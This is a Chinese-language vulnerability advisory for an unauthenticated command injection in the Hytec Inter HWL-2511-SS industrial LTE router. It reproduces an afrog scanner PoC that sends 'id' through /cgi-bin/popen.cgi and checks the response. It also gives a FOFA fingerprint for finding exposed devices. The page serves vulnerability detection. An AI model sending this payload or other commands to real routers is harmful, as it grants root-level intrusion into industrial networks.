hytec-inter-hwl-2511-ss-rce: Hytec Inter HWL-2511-SS 路由器 popen.cgi 存在RCE漏洞

日期: 2025-09-01 | 影响软件: hytec-inter-hwl-2511-ss | POC: 已公开

漏洞描述

HWL-2511-SS 是 Hytec Inter 公司的一款工业级 LTE 路由器，可用于远程数据传输，例如收集传感器数据和检查监控摄像头图像。 1.05版本及以下的所有 Hytec Inter HWL-2511-SS 设备存在命令注入漏洞，未经身份验证的攻击者可利用该漏洞进行命令注入漏洞攻击，成功利用该漏洞允许攻击者以 root 权限在底层操作系统上执行任意命令。 fofa: body="app/feature/portForwarding.js" || body="app/app.translate-config.js"

PoC代码[已公开]

id: hytec-inter-hwl-2511-ss-rce

info:
  name: Hytec Inter HWL-2511-SS 路由器 popen.cgi 存在RCE漏洞
  author: Y3y1ng
  severity: critical
  verified: true
  description: |-
    HWL-2511-SS 是 Hytec Inter 公司的一款工业级 LTE 路由器，可用于远程数据传输，例如收集传感器数据和检查监控摄像头图像。
    1.05版本及以下的所有 Hytec Inter HWL-2511-SS 设备存在命令注入漏洞，未经身份验证的攻击者可利用该漏洞进行命令注入漏洞攻击，成功利用该漏洞允许攻击者以 root 权限在底层操作系统上执行任意命令。
    fofa: body="app/feature/portForwarding.js" || body="app/app.translate-config.js"
  reference:
    - https://mp.weixin.qq.com/s/5YGix7_8z2vJlMtuhAZLiw
  tags: hytec,rce
  created: 2023/12/04

rules:
  r0:
    request:
      method: GET
      path: /cgi-bin/popen.cgi?command=id
    expression: 'response.status == 200 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.body)'
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/hytec-inter-hwl-2511-ss-rce.yaml

相关漏洞推荐